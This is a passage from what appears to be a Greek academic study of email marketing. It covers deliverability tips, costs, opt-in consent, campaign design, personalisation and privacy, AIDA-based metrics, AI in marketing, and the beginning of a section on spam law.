θα πρέπει να είναι ακριβή. Ακόμη, το θέμα του email σας θα πρέπει να είναι αντιπροσωπευτικό του περιεχόμενού του. 2. Το email σας θα πρέπει να συμπεριλαμβάνει την ταχυδρομική σας διεύθυνση. 3. Οι παραλήπτες σας θα πρέπει να έχουν την επιλογή να διαγραφούν από τις λίστες σας ανά πάσα στιγμή. Δώστε στους παραλήπτες σας τη δυνατότητα για Unsubscribe σε εμφανές σημείο στο email σας και ανταποκριθείτε εγκαίρως στο αίτημά τους. 4. Αν έχετε δημιουργήσει ένα email τύπου HTML θα πρέπει να το συνοδεύσετε και με Plain Text, δηλαδή εκδοχή του email με απλό κείμενο. 5. Μην χρησιμοποιείτε πολλά κεφαλαία, πολλά θαυμαστικά, έντονα χρώματα και κώδικα που περιλαμβάνει ασάφειες. 6. Τεστάρετε το email σας σε δικούς σας λογαριασμούς πριν το στείλετε για να διασφαλίσετε ότι δεν πηγαίνει στα spam. 7. Αποφύγετε τα attachment και τις μεγάλες εικόνες. 8. Αποφύγετε λέξεις όπως το free και το δωρεάν και γενικά ότι έχει να κάνει με προσφορές, δώρα, υποσχέσεις. 9. Εξετάστε τεχνικούς παράγοντες με το https://www.mail-tester.com/. Κόστος email marketing Ακόμα και αν υπάρχουν εξαιρετικά πρακτορεία και εργαλεία μάρκετινγκ για το ηλεκτρονικό ταχυδρομείο, ο προϋπολογισμός σας μπορεί να είναι συνήθως περιορισμένος, ανάλογα και με το μέγεθος της επιχείρησης. Αυτός είναι σημαντικός λόγος για τον οποίο είναι αρκετά σημαντικό να βρείτε πλατφόρμες που θα ταιριάζουν με τους συγκεκριμένους σκοπούς σας και θα αξίζουν και το τελευταίο cent. Γι’ αυτό, θα πρέπει να είστε προσεκτικοί και να επιλέξετε την πλατφόρμα και το πακέτο που θα εξυπηρετεί καλύτερα την επιχείρησή σας. Θα πρέπει να γνωρίζετε πως κάθε πρόγραμμα email marketing, είναι μοναδικό και περιέχει πολλούς παράγοντες που επηρεάζουν τα μοντέλα τιμολόγησης που χρησιμοποιούνται από τις πλατφόρμες μάρκετινγκ ηλεκτρονικού ταχυδρομείου. Αυτές οι πλατφόρμες προσφέρουν διάφορους τύπους υπηρεσιών, όπως δημιουργικές υπηρεσίες, τεχνικές υπηρεσίες και διαχείριση λογαριασμών. Καθώς αυξάνεται ο αριθμός των υπηρεσιών που χρειάζεστε, θα αυξηθεί και το κόστος ανάλογα. Ένας άλλος σημαντικός

παράγοντας κόστους είναι ο αριθμός των μηνυμάτων ηλεκτρονικού ταχυδρομείου που δημιουργούνται. Η τιμολόγηση μπορεί να γίνεται σε εβδομαδιαία ή μηνιαία βάση. Το κόστος ενός μόνο μηνύματος ηλεκτρονικού ταχυδρομείου επηρεάζεται γενικά από την πολυπλοκότητα του ηλεκτρονικού ταχυδρομείου, όπως τα δυναμικά στοιχεία, τον αριθμό περιοχών περιεχομένου, τον αριθμό συνδέσμων, τα πρότυπα, τον καταμερισμό, τη περίοδο δοκιμής, και ούτω καθεξής. Και παρόλο που η αυτοματοποίηση κάνει όλη τη δουλειά για τη διαδικασία μάρκετινγκ ηλεκτρονικού ταχυδρομείου, εξακολουθεί πάντα να υπάρχει ανάγκη παρακολούθησης, διαχείρισης και βελτιστοποίησης των καμπανιών. Επιπλέον, η λήψη δεδομένων μπορεί να αλλάξει δραματικά το κόστος των εργαλείων για το email marketing. Ο αριθμός των δεδομένων και οι μέθοδοι που χρησιμοποιούνται για την πρόσβαση σε δεδομένα, συγκαταλέγονται στα κύρια στοιχεία της τιμολόγησης. Εάν υπάρχει μία μόνο πηγή δεδομένων που είναι ενσωματωμένη στην πλατφόρμα ηλεκτρονικού ταχυδρομείου, η ρύθμιση μπορεί να έχει σχετικά χαμηλό κόστος. Αλλά σε μεγαλύτερες επιχειρήσεις, τα βασικά δεδομένα πελατών διαμοιράζονται συνολικά σε ολόκληρο τον οργανισμό, ο οποίος χρειάζεται περισσότερο χρόνο για να χειριστεί τις ενσωματώσεις και να μεταφράσει τα δεδομένα. Επομένως, το email marketing είναι μια εξαιρετική μέθοδος, που μπορεί να σας οδηγήσει στο αποτέλεσμα που θέλετε με τη σωστή χρήση του.

Το email marketing είναι μία τεχνική του ψηφιακού μάρκετινγκ, που βασίζεται στην άμεση αποστολή ηλεκτρονικών προωθητικών μηνυμάτων (emails/newsletters) σε χρήστες του διαδικτύου, εν δυνάμει πελάτες και πιθανούς αγοραστές. Τα μηνύματα μπορεί να έχουν είτε ευθέως διαφημιστικό χαρακτήρα για να ωθήσουν σε βραχυπρόθεσμες αγορές, είτε εμμέσως, αφού μπορεί να αφορούν την διαχείριση των σχέσεων με τους πελάτες (CRM) και την οικοδόμηση του εμπορικού σήματος. Τα μηνύματα ηλεκτρονικού ταχυδρομείου μοιάζουν με τακτικές που χρησιμοποιούνται για την πειθώ, καθώς παρουσιάζουν πληροφορίες που αποσκοπούν στην επιρροή των πεποιθήσεων, των στάσεων, των αποφάσεων ή των ενεργειών κάποιου28 . Ειδικότερα μέσω των ηλεκτρονικών μηνυμάτων μία επιχείρηση επιδιώκει να προκαλέσει πωλήσεις καθώς έρχεται σε επαφή με τους πελάτες της, προσπαθεί να τους καταστήσει πιστούς - αφοσιωμένους πελάτες της και ενδεχομένως διαφημιστές της (word of mouth / ambassadors), προσπαθεί να τους ενθαρρύνει σε νέες αγορές, να παροτρύνει και να ενεργοποιήσει ανενεργούς πελάτες της, να εμπνεύσει δυνητικούς πελάτες

και να τους καταστήσει πελάτες της. Επίσης, επιχειρεί να αυξήσει την αναγνωρισιμότητά της, καθώς παρέχει πληροφορίες για τα προϊόντα ή τις υπηρεσίες της, προβάλει την επωνυμία της (ονομασία-σήμα-μάρκα). Τέλος, επιδιώκει να εδραιώσει την παρουσία της στον ψηφιακό κόσμο και να καθιερωθεί στην συνείδηση του κοινού δημιουργώντας σχέσεις εμπιστοσύνης μεταξύ πελάτη και μάρκας ή πελάτη και επιχείρησης. Όταν επιλέγει μία επιχείρηση να προωθήσει τα προϊόντα ή τις υπηρεσίες της μέσω email, οφείλει πρώτα από όλα να δημιουργήσει έναν κατάλογο ηλεκτρονικών διευθύνσεων. Αυτό προϋποθέτει βεβαίως ότι η ενδιαφερόμενη επιχείρηση διαθέτει μία ιστοσελίδα που ζητά από τους επισκέπτες της να εγγραφούν στον κατάλογό της, προκειμένου να λάβουν δωρεάν πληροφορίες, ενημέρωση για τα προϊόντα και τις υπηρεσίες της επιχείρησης και πιθανά προνόμια (δώρα, προσφορές, κουπόνια, συμμετοχή σε διαγωνισμούς κ.α.) εισάγοντας πολύ απλά την ηλεκτρονική τους διεύθυνση. Πρόκειται για την συγκατάθεση (opt-in), την άδεια ουσιαστικά για την χρησιμοποίηση του προσωπικού δεδομένου της ηλεκτρονικής διευθύνσεως από την επιχείρηση, την οποία πρέπει να διαθέτει η επιχείρηση προκειμένου να εντάξει τον επισκέπτη της νόμιμα στην λίστα ηλεκτρονικών διευθύνσεων που χρησιμοποιεί για την προβολή της στο κοινό (permission based email list). To permission email marketing ή opt-in email marketing είναι η μόνη μέθοδος για να λαμβάνουν οι επιχειρήσεις ρητή συγκατάθεση από τους χρήστες, προκειμένου να τους αποστέλλουν ηλεκτρονικά μηνύματα και ο μόνος τρόπος να διασφαλιστούν οι επιχειρήσεις ότι οι ενέργειές τους δεν παρενοχλούν τους αποδέκτες, καθώς δεν λαμβάνουν χώρα χωρίς την θέληση και τη συμφωνία του άλλου μέρους. Μάλιστα κάποιες επιχειρήσεις για περαιτέρω διασφάλιση και εγγύηση χρησιμοποιούν την μέθοδο του «double opt-in», που απαιτεί δύο ενέργειες από πλευράς του αποδέκτη - κατόχου ηλεκτρονικής διεύθυνσης, καθώς, μετά την δήλωση της ηλεκτρονικής τους διευθύνσεως, του ζητείται η επιβεβαίωση εγκυρότητας αυτής μέσω ενός κωδικού πρόσβασης ή ενός κωδικού μίας χρήσης ή απαιτούν ο χρήστης να ζητήσει την ενεργοποίηση του λογαριασμού του με την αποστολή ηλεκτρονικού ταχυδρομείου, οπότε ελέγχεται και πάλι (διπλά) ότι ο αποδέκτης επιθυμεί να συμπεριληφθεί στον κατάλογο των διευθύνσεων της επιχείρησης30 . Σε αντίθεση με την απλή αποδοχή (opt in), η διαδικασία αυτή (του double opt in) αποτρέπει τους χρήστες από το να εγγραφούν, κατά λάθος ή κακόβουλα, με μία διεύθυνση ηλεκτρονικού ταχυδρομείου που δεν τους ανήκει ή δεν τελεί υπό τον έλεγχό τους . Με τον τρόπο αυτό περιορίζεται η πιθανότητα μελλοντικής επίκλησης καταχρηστικής χρήσης του email του εγγεγραμμένου χρήστη. Καταφαίνεται λοιπόν ότι η δημιουργία ενός καταλόγου ηλεκτρονικών διευθύνσεων απαιτεί χρόνο, επιμονή και στρατηγική, διαμορφώνεται

σταδιακά και χρειάζεται αλληλεπίδραση για να οικοδομηθεί σε βάση εμπιστοσύνης και να έχει πιθανότητες να διατηρηθεί στο μέλλον.

Ανάπτυξη καμπάνιας email marketing Για να αναπτυχθεί μία διαφημιστική δράση μέσω ηλεκτρονικού ταχυδρομείου απαιτείται σχεδιασμός. Το πρώτο βήμα, όπως ανωτέρω αναφέρθηκε, είναι η ορθή και σύννομη δημιουργία μίας αξιόλογου μεγέθους λίστας ηλεκτρονικών διευθύνσεων. Η λίστα αυτή δεν δημιουργείται άπαξ, αλλά απαιτεί μία στενή παρακολούθηση, μία διαρκή προσπάθεια διεύρυνσης και συνεχή επικαιροποίηση, καθώς δεν τυγχάνει μόνον εισχωρήσεως νέων μελών, αλλά συνοδεύεται και από πολλαπλές αποχωρήσεις. Ακολούθως για την ανάπτυξη μίας καμπάνιας email marketing απαιτείται η εγγραφή της επιχείρησης σε μία πλατφόρμα email marketing (ενδεικτικά Μailchimp, HubSpot, Brevo, GetResponse, ActiveCampaign κ.α.), προκειμένου να δημιουργηθεί η δυνατότητα αλληλεπίδρασης με τα μέλη της λίστας ηλεκτρονικών διευθύνσεων (όπως η αποστολή αυτοματοποιημένων μηνυμάτων) και να μπορεί να ελεγχθεί η αποδοτικότητα των προωθητικών μηνυμάτων (όπως ανοίγματα, κλικ σε συνδέσμους, αγορές, στατιστικά στοιχεία για τον χρόνο εκδήλωσης ενδιαφέροντος), αλλά και για να αξιοποιηθούν εργαλεία για την βελτιστοποίηση του περιεχομένου των προωθητικών μηνυμάτων που λαμβάνουν οι δυνητικοί πελάτες. Ιδιαίτερη βαρύτητα κατά την εμπορική επικοινωνία οφείλει να δίνεται στην επιλογή του θέματος (subject line) ενός διαφημιστικού μηνύματος, καθώς με αυτό έρχεται σε πρώτη επαφή ο παραλήπτης του μηνύματος και είναι καθοριστικής σημασίας για την επόμενη ενέργειά του, που πρέπει να είναι το άνοιγμα και η ανάγνωση του ηλεκτρονικού μηνύματος. Εξάλλου υπάρχει μόνο μία ευκαιρία για να κάνει κανείς την πρώτη εντύπωση. Έρευνες έχουν δείξει ότι το 64% των αποφάσεων των χρηστών να προχωρήσουν στην ανάγνωση ενός ηλεκτρονικού μηνύματος βασίζεται στο θέμα. Πρέπει λοιπόν η γραμμή θέματος να είναι πολύ ισχυρή για να τραβήξει την προσοχή του καταναλωτή και να δημιουργήσει επαρκή περιέργεια και εντύπωση, ώστε να προκαλέσει τελικά την θετική ενέργεια του παραλήπτη33. Βεβαίως η διέγερση του αποδέκτη θα πρέπει να συνεχιστεί και με ένα ενδιαφέρον περιεχόμενο μηνύματος, προκειμένου να μην απογοητευθεί ο αποδέκτης, αλλά να δικαιωθεί η προσδοκία που του προκάλεσε το ελκυστικό θέμα. Το θέμα είναι επίσης κρίσιμο και για την διαπίστωση της αλληλογραφίας ως επιθυμητής ή ανεπιθύμητης, διότι σύμφωνα και με όσα προαναφέρθηκαν για την εμπορική

επικοινωνία με παραλήπτη που δεν την έχει ζητήσει, πρέπει η ανεπιθύμητη αλληλογραφία να αναγνωρίζεται σαφώς και επακριβώς αμέσως μόλις περιέλθει στον αποδέκτη. Όχι ήσσονος σημασίας είναι τέλος η τμηματοποίηση των ηλεκτρονικών μηνυμάτων που πρόκειται να αποσταλούν με σαφή κριτήρια, όπως την διάκριση μεταξύ υποψηφίων πελατών, πραγματικών πελατών, εγγεγραμμένων στην λίστα ληπτών ενημερωτικών δελτίων, κατηγοριοποίηση με βάση την χρονική συχνότητα αποστολής, παρακολούθηση των σταδίων των παραληπτών (συνδρομητής, ενδιαφερόμενος, δυνητικός πελάτης, τακτικός πελάτης), παρακολούθηση του κύκλου ζωής των προϊόντων βάσει των παραγγελιών και τις προβλέψεις πιθανών επαναλήψεων των παραγγελιών, κατηγοριοποίηση βάσει δημογραφικών στοιχείων των πελατών (φύλο, ηλικία, γενέθλια, επάγγελμα) και άλλα35. Με λίγα λόγια κανένα ηλεκτρονικό μήνυμα δεν πρέπει να αφήνεται στην τύχη του, αλλά οφείλει να αξιολογείται τόσο πριν αποσταλεί με βάση τα παραπάνω κριτήρια όσο και μετά, καθώς υφίστανται οι τεχνικές μέθοδοι (αναλυτική δεδομένων) για την παρακολούθηση και την εκτίμηση των αποτελεσμάτων της προωθητικής ενέργειας (follow up), τα οποία μπορούν να δώσουν πολύτιμες πληροφορίες για την συμπεριφορά των καταναλωτών και να οδηγήσουν το email marketing σε σημαντικές βελτιωτικές κινήσεις. Φαίνεται, λοιπόν, με βάση τα παραπάνω ότι οι εμπορικές ηλεκτρονικές επικοινωνίες δεν είναι τόσο οικονομικές όσο ενδεχομένως νομίζουμε, αφού απαιτείται να επενδύσουν οι διαφημιζόμενοι τόσο στην προετοιμασία των προωθητικών μηνυμάτων όσο και μετά, μέσω ενός δικτύου συνεργατών που θα επιστρατευτεί για την δημιουργία, την παρακολούθηση και την αξιολόγηση μίας καμπάνιας. Παρόλα αυτά οι εταιρείες εξακολουθούν να επενδύουν στο μέσο αυτό αυξητικά36 . Και αυτό, διότι οι σωστοί τύποι μηνυμάτων ηλεκτρονικού ταχυδρομείου στο σωστό συνδυασμό μπορούν να κάνουν τους πελάτες να ξοδέψουν πολύ περισσότερα χρήματα από την αντίστοιχη επένδυση.

Εξατομικευμένο Μάρκετινγκ Ηλεκτρονικού Ταχυδρομείου Με τις δυνατότητες που προσφέρουν η ωρίμανση της τεχνολογίας εξόρυξης δεδομένων (data mining), η συλλογή και αποθήκευση σύνθετων και μαζικών καταναλωτικών δεδομένων (big data) με την χρήση αλγορίθμων ομαδοποίησης (segmentation) και με την βοήθεια της τεχνητής νοημοσύνης (artificial intelligence) και της μηχανικής μάθησης (machine learning), η καμπάνια ηλεκτρονικού ταχυδρομείου που κάνει μία επιχείρηση μπορεί να επικεντρωθεί στον αποδέκτη – αναγνώστη των μηνυμάτων της και να του προβάλει εξατομικευμένες

προσφορές και υπηρεσίες (προσωποποιημένο email38), καθώς η παραπάνω τεχνολογία της επιτρέπει να γνωρίζει τα ιδιαίτερα χαρακτηριστικά του και τις προτιμήσεις του, ανταποκρινόμενη έτσι με ακρίβεια και πιστότητα στις ανάγκες του πελάτη της, προσπερνώντας το εμπόδιο της ποικιλόμορφης ετερογένειας της καταναλωτικής ζήτησης. Με το εξατομικευμένο μάρκετινγκ οι επιχειρήσεις καταφέρνουν να προωθήσουν σημαντικά τις αγορές των καταναλωτών, να αυξήσουν την αφοσίωση των πελατών τους και να επιτύχουν μεγαλύτερα κέρδη. Ταυτόχρονα οι καταναλωτές ικανοποιούνται από την προσωποποιημένη πληροφόρηση που τους παρέχεται, καθώς επιτυγχάνουν να μειώσουν το κόστος αναζήτησης, όπως το κόστος χρόνου και να βελτιώσουν την εμπειρία αγορών, διευκολυνόμενοι στην λήψη αποφάσεων. Αυτή βεβαίως είναι η μία πλευρά, η θετική. Από την άλλη πλευρά αυτή η παρεχόμενη βοήθεια θα μπορούσε να εκληφθεί από τους καταναλωτές ως προσπάθεια χειραγώγησης των επιλογών τους. Παρά τα οφέλη που επιδιώκουν να φέρουν στους καταναλωτές τα εξατομικευμένα ηλεκτρονικά προωθητικά μηνύματα, δημιουργείται ταυτόχρονα μία πιθανή απειλή όσον αφορά την αποτελεσματικότητα και την προστασία της ιδιωτικής ζωής των καταναλωτών, καθώς η εφαρμογή και η διαμόρφωση των μηνυμάτων αυτών βασίζεται στην συλλογή, αποθήκευση, ανάλυση και χρήση προσωπικών πληροφοριών των καταναλωτών. Μετατοπίζεται έτσι το ενδιαφέρον των καταναλωτών από το δέλεαρ της εξειδικευμένης πληροφορίας που λαμβάνουν στην προστασία των προσωπικών πληροφοριών τους, που θέλουν να διατηρήσουν απόρρητες. Οι αποδέκτες των προωθητικών αυτών μηνυμάτων καλούνται να θέσουν προτεραιότητες και να σταθμίσουν το αποτέλεσμα της παρεχόμενης υπηρεσίας σε σχέση με την πιθανότητα παραβίασης της ιδιωτικής τους ζωής. Σύμφωνα με τους Alexander Bleier και Maik Eisenbeiss στο άρθρο τους για την σημασία της εμπιστοσύνης στην εξατομικευμένη ηλεκτρονική διαφήμιση: οι επιχειρήσεις χρησιμοποιούν μια μέθοδο που ονομάζεται επαναστόχευση (retargeting) για να προσαρμόσουν τις διαφημίσεις τους σε μεμονωμένους καταναλωτές με βάση τα ενδιαφέροντα και τις προτιμήσεις τους από δεδομένα που έχουν συλλέξει. Ωστόσο, ενώ η εξατομίκευση θα έπρεπε γενικά να κάνει τις διαφημίσεις πιο ελκυστικές, φαίνεται ότι η αποτελεσματικότητα της επαναστόχευσης εξαρτάται από την εμπιστοσύνη των καταναλωτών στην εκάστοτε επιχείρηση. Εξετάζοντας το βάθος της εξατομίκευσης, δηλαδή πόσο στενά η διαφήμιση αντικατοπτρίζει τα ενδιαφέροντα του καταναλωτή και το εύρος της εξατομίκευσης, δηλαδή πόσο πλήρως αντανακλά αυτά τα ενδιαφέροντα, καταλήγουν, ότι οι πιο αξιόπιστες επιχειρήσεις μπορούν να αυξήσουν την αντιληπτική χρησιμότητα των διαφημίσεών τους

μέσω ενός συνδυασμού υψηλού βάθους και στενού εύρους εξατομίκευσης χωρίς να προκαλούν αυξημένη αντίδραση ή ανησυχίες για την προστασία της ιδιωτικής ζωής. Από την άλλη πλευρά, για τις λιγότερο αξιόπιστες επιχειρήσεις, οι διαφημίσεις με μεγαλύτερο βάθος δεν γίνονται αντιληπτές ως πιο χρήσιμες, αλλά αντίθετα προκαλούν αυξημένη αντίδραση και ανησυχίες για την προστασία της ιδιωτικής ζωής, ανεξάρτητα από το εύρος της εξατομίκευσης. Οι καταναλωτές παρέχουν στις επιχειρήσεις ενεργά ή παθητικά, συνειδητά ή τυχαία, προσωπικές τους πληροφορίες με την προσδοκία όχι μόνον να λάβουν υπηρεσίες υψηλής ποιότητας, αλλά και με την προσδοκία ότι οι επιχειρήσεις θα χρησιμοποιήσουν αυτές τις πληροφορίες με λογική και ακρίβεια. Επομένως, όταν η αξιολόγηση των καταναλωτών είναι ανεπαρκής, είναι πολύ πιθανόν να προκληθεί δυσαρέσκεια και να προβληθεί αντίσταση των καταναλωτών στην προσπάθεια του εξατομικευμένου μάρκετινγκ, με αποτέλεσμα το τελευταίο να καταστεί αντιπαραγωγικό και αποτυχημένο. Η αποτροπή τέτοιων πιθανοτήτων είναι συνεπώς αναγκαία προτεραιότητα και επείγον ζήτημα για τις επιχειρήσεις, αναδεικνυόμενο από την αντίσταση των καταναλωτών στην εξατομικευμένη συμπεριφορά μάρκετινγκ, είναι δηλαδή ένα ζήτημα που χρειάζεται διερεύνηση προκειμένου να ενισχυθεί η αποτελεσματικότητα και η χρηστικότητα του εξατομικευμένου μάρκετινγκ.

Αποτελεσματικότητα του μάρκετινγκ ηλεκτρονικού ταχυδρομείου Η βελτίωση της αποτελεσματικότητας του μάρκετινγκ ηλεκτρονικού ταχυδρομείου αποτελεί προτεραιότητα για τις περισσότερες επιχειρήσεις που χρησιμοποιούν το email marketing, καθώς τους παρέχει την δυνατότητα να πολλαπλασιάσουν τα έσοδά τους. Για την διερεύνηση της αποτελεσματικότητας του μάρκετινγκ ηλεκτρονικού ταχυδρομείου παρουσιάζει ενδιαφέρον η μελέτη των σταδίων που διανύουν οι καταναλωτές, όταν αλληλεπιδρούν με τα προωθητικά μηνύματα που λαμβάνουν. Το μοντέλο AIDA (Attention – Interest – Desire Action) είναι το πιο παλιό (από το έτος 1898) και το πιο γνωστό μοντέλο παρακολούθησης της απόδοσης μίας διαφημιστικής καμπάνιας43 . Πρόκειται για γνωστικά, συναισθηματικά και συνειρμικά στάδια που διέρχεται το κοινό ανταποκρινόμενο στην διαφήμιση44. Ειδικώς για την εμπορική προώθηση μέσω μηνυμάτων ηλεκτρονικού ταχυδρομείου, τα στάδια αυτά λαμβάνουν χώρα από την πρώτη επαφή με το ηλεκτρονικό μήνυμα μέχρι και την θετική ενέργεια (online παραγγελία - κατανάλωση), που είναι και ο απώτατος στόχος του διαφημιζόμενου. Τα στάδια αυτά δεν ομοιάζουν στην χρονική τους διάρκεια, αλλά ακολουθούν ένα διαδοχικό μοτίβο.

Οι Lorente Páramo A.J., Hernández García A. και Chaparro Peláez J. επιχείρησαν να αντιστοιχήσουν τους δείκτες μέτρησης αποτελεσματικότητας του μάρκετινγκ ηλεκτρονικού ταχυδρομείου στα τέσσερα στάδια του μοντέλου AIDA ως εξής46: Attention: Το κέντρισμα της προσοχής είναι ο πρώτος επιθυμητός στόχος κάθε εκστρατείας μάρκετινγκ. Αυτή αναπτύσσεται την πρώτη στιγμή που ο καταναλωτής έρχεται σε επαφή με το μήνυμα, οπότε και αποφασίζει αν θα προσέξει το μήνυμα, ενέργεια που μεταφράζεται σε άνοιγμα του μηνύματος47. Με το άνοιγμα του μηνύματος ο αποδέκτης «καταναλώνει» το περιεχόμενο του μηνύματος. Το ποσοστό ανοίγματος είναι μετρήσιμη ενέργεια. Μετρώντας τα ανοίγματα ενός συγκεκριμένου διαφημιστικού μηνύματος και αποτυπώνοντάς τα σε ένα ποσοστό (open rate percent) προκύπτει αμέσως το ποσοστό του πρώτου σταδίου του μοντέλου AIDA, δηλαδή της προσοχής. Interest: Στο δεύτερο αυτό στάδιο η προσοχή παίρνει την μορφή της ιδιαίτερης προσοχής. Έμπρακτα το ενδιαφέρον εκφράζεται με την επίσκεψη του συνδέσμου που περιλαμβάνεται στην προωθητική επικοινωνία (click through rate - CTR). Όταν οι υποψήφιοι πελάτες περιηγούνται στον ιστότοπο μιας εταιρείας, πολλές πληροφορίες μπορούν να μεταβιβαστούν στους πελάτες με μια διαδραστική και ενδιαφέρουσα μέθοδο, ώστε να προκληθεί το ενδιαφέρον τους για τα προϊόντα ή τις υπηρεσίες που προσφέρονται48 . Το μήνυμα συνεπώς έχει ήδη λειτουργήσει. Το περιεχόμενό του έχει γίνει αντιληπτό και κατανοητό και ο αποδέκτης του βρίσκεται πλέον σε εισαγωγικό στάδιο προς μία βαθύτερη σχέση με τον διαφημιζόμενο. Το ποσοστό των ατόμων που ανταποκρίθηκαν στο μήνυμα επισκεπτόμενοι τον περιεχόμενο σύνδεσμο ορίζει την αποτελεσματικότητα της καμπάνιας email marketing στο δεύτερο επίπεδο του μοντέλου AIDA, δηλαδή του ενδιαφέροντος. Desire: Το επόμενο στάδιο είναι η επιθυμία. Από την οπτική του μάρκετινγκ η επιθυμία αντανακλά την φιλοδοξία για την κατοχή του προϊόντος ή της υπηρεσίας που διαφημίζεται . Τις περισσότερες φορές, μόλις η επικοινωνία προκαλέσει αποτελεσματικά το ενδιαφέρον, ο καταναλωτής θα αρχίσει πιθανότατα να αλληλεπιδρά με πολλαπλά κανάλια και πηγές. Συνεπώς η μέτρηση της επιθυμίας μπορεί να περιλαμβάνει τον αριθμό των ιστοσελίδων ανά περίοδο περιήγησης ή τον αριθμό των επισκέψεων στην σελίδα από μοναδικούς επισκέπτες51 . Είναι όμως πιθανόν να αρχίσει ο υποψήφιος αγοραστής να επισκέπτεται παρόμοιες σελίδες, να αναζητά αξιολογήσεις ή συμβουλές από άλλους χρήστες σε διαφορετικές ιστοσελίδες ή σε κοινωνικά δίκτυα, οπότε η αξιολόγηση της επιμέρους συμβολής κάθε πηγής καθιστά εξαιρετικά δύσκολη την ποσοτική μέτρηση της επιθυμίας. Action: Πρόκειται για το τελευταίο στάδιο, που αποτελεί και τον υψηλότερο στόχο μίας εκστρατείας μάρκετινγκ, που δεν είναι άλλος από την δράση (action) της αγοράς του διαφημιζόμενου προϊόντος ή της προωθούμενης υπηρεσίας. Πρόκειται για την απλούστερη

μέτρηση εκ των τεσσάρων σταδίων, καθώς απαιτεί την απλή επαλήθευση αν το προϊόν/υπηρεσία πουλήθηκε ή δεν πουλήθηκε. Αναφέρεται ως ποσοστό μετατροπής (conversion rate – CR) που αντιπροσωπεύει την αναλογία των παραληπτών που ενήργησαν την επιθυμητή ενέργεια (αγόρασαν το προϊόν ή την υπηρεσία) προς τον συνολικό αριθμό των παραληπτών του προωθητικού μηνύματος.

Η Τεχνητή Νοημοσύνη στην υπηρεσία του email marketing Οι ανάγκες και οι επιθυμίες, τα ενδιαφέροντα, οι προτιμήσεις και οι συνήθειες των καταναλωτών έχουν γίνει το θεμέλιο της ευφυούς διαφήμισης. Αυτά τα χαρακτηριστικά και οι καταστάσεις των καταναλωτών μπορούν να αναλυθούν σε πραγματικό χρόνο από μεγάλου όγκου δεδομένα, για να παράγουν γνώσεις σημαντικές για τους καταναλωτές και πολύτιμες για τους διαφημιστές52 , 53 . Ο Hairong Li αναφέρεται, στο άρθρο του για την Τεχνητή Νοημοσύνη (ΤΝ) και την διαφήμιση, στο παράδειγμα του βοηθού της Google (Google Assistant), που κυκλοφόρησε το 2016, και που μπορεί να αντλήσει δεδομένα από όλες τις εφαρμογές της Google που χρησιμοποιεί ένας χρήστης με μία μόνο σύνδεση, όπως το Gmail, η αναζήτηση, οι χάρτες, οι αγορές, οι φωτογραφίες, το ημερολόγιο, οι επαφές και πολλά άλλα, και στη συνέχεια με την χρήση τεχνολογίας ΤΝ, όπως η επεξεργασία φυσικής γλώσσας και η μηχανική μάθηση να εκτελέσει διάφορες εργασίες αποκρινόμενο στο φωνητικό αίτημα του χρήστη ή στο αίτημα που εισάγει μέσω πληκτρολογίου. Με τον βοηθό της Google που αναλύει τη συμπεριφορά των χρηστών είναι εφικτή η τμηματοποίηση του κοινού μιας επιχείρησης με βάση διάφορα κριτήρια, όπως πχ. δημογραφικά, ιστορικό αγορών, επίπεδο δέσμευσης. Αυτή η τμηματοποίηση - εξατομίκευση επιτρέπει να προσαρμόσει η

προβαλλόμενη επιχείρηση τα προωθητικά της μηνύματα κατά τρόπο που να έχουν την μέγιστη απήχηση στον αποδέκτη τους. Παραδείγματος χάριν μπορεί ένας δυνητικός πελάτης την στιγμή που περιηγείται σε ένα ηλεκτρονικό κατάστημα να λαμβάνει προτάσεις προϊόντων βάσει των προηγούμενων περιηγήσεών του στην συγκεκριμένη κατηγορία. Η τεχνητή νοημοσύνη βοηθάει το

αυτοματοποιημένο

μάρκετινγκ ηλεκτρονικού

ταχυδρομείου. Η συλλογή δεδομένων σε πραγματικό χρόνο μπορεί να ενισχύσει την αφοσίωση του πελάτη, όταν π.χ. ο χρήστης που γράφτηκε στο ενημερωτικό δελτίο μίας επιχείρησης, θα λάβει αμέσως από την επιχείρηση αυτή ένα αυτοματοποιημένο μήνυμα καλωσορίσματος ή παρουσίασης της επιχείρησης. Μεγάλοι διαφημιστές, όπως η Amazon, πρωτοστάτησαν στις εξατομικευμένες προτάσεις αγορών με τη βοήθεια της ΤΝ και στη δυναμική τιμολόγηση, μια μέθοδο κατά την οποία η τεχνητή νοημοσύνη μπορεί να αλλάζει τις τιμές ανάλογα με τη ζήτηση54 . Παρά τον σάλο γύρω από το ChatGPT και το DALL-E - το λογισμικό δημιουργίας ψηφιακών εικόνων του OpenAI55 - οι έμποροι και οι διαφημιστές έχουν χρησιμοποιήσει την τεχνητή νοημοσύνη κυρίως για την καλύτερη στόχευση των διαφημίσεων και τη βέλτιστη αγορά διαφημιστικών χώρων. Οι ισχυρές δεξιότητες της Τεχνητής Νοημοσύνης στη συλλογή δεδομένων σε πραγματικό χρόνο είναι χρήσιμες για τη στάση και την συμπεριφορά των πελατών και συνεπώς για την προσαρμογή του μάρκετινγκ σε συγκεκριμένες ομάδες πελατών. Η ΤΝ αναπτύσσεται για διάφορους σκοπούς του μάρκετινγκ όπως η κωδικοποίηση, οι παρουσιάσεις, το περιεχόμενο και ο σχεδιασμός.

Ανεπιθύμητη εμπορική επικοινωνία - Spamming

Ως «ανεπιθύμητη» ορίζεται η μη ζητηθείσα εμπορική επικοινωνία. Η ελληνική Αρχή Προστασίας Δεδομένων17 αναφέρει: «Βασική προϋπόθεση για την πραγματοποίηση προώθησης προϊόντων και υπηρεσιών με τα ηλεκτρονικά μέσα είναι η ύπαρξη προηγούμενης συγκατάθεσης του παραλήπτη, το λεγόμενο σύστημα «opt-in». Σε διαφορετική περίπτωση το μήνυμα αποτελεί ανεπιθύμητη διαφήμιση (spam). Η μόνη εξαίρεση είναι όταν τα στοιχεία επαφής (διεύθυνση ηλεκτρονικού ταχυδρομείου εν προκειμένω) έχουν αποκτηθεί στο πλαίσιο πώλησης παρόμοιων προϊόντων/υπηρεσιών ή άλλης παρόμοιας προηγούμενης συναλλαγής». Η ανεπιθύμητη ηλεκτρονική επικοινωνία γίνεται αντιληπτή είτε ως οργανωμένη μαζική και επαναλαμβανόμενη αποστολή μηνυμάτων με πιθανό αρνητικό αντίκτυπο στο διαδίκτυο που υποστηρίζει την αποστολή αυτή, είτε ως ευθέως παρεμβατική ενέργεια προς τους αποδέκτες των μηνυμάτων με εμπορική στόχευση. Aν και δεν υπάρχει σαφής και κοινά αποδεκτός ορισμός του spam, ωστόσο βασικά στοιχεία του ανεπιθύμητου μηνύματος, σύμφωνα με τον Ján 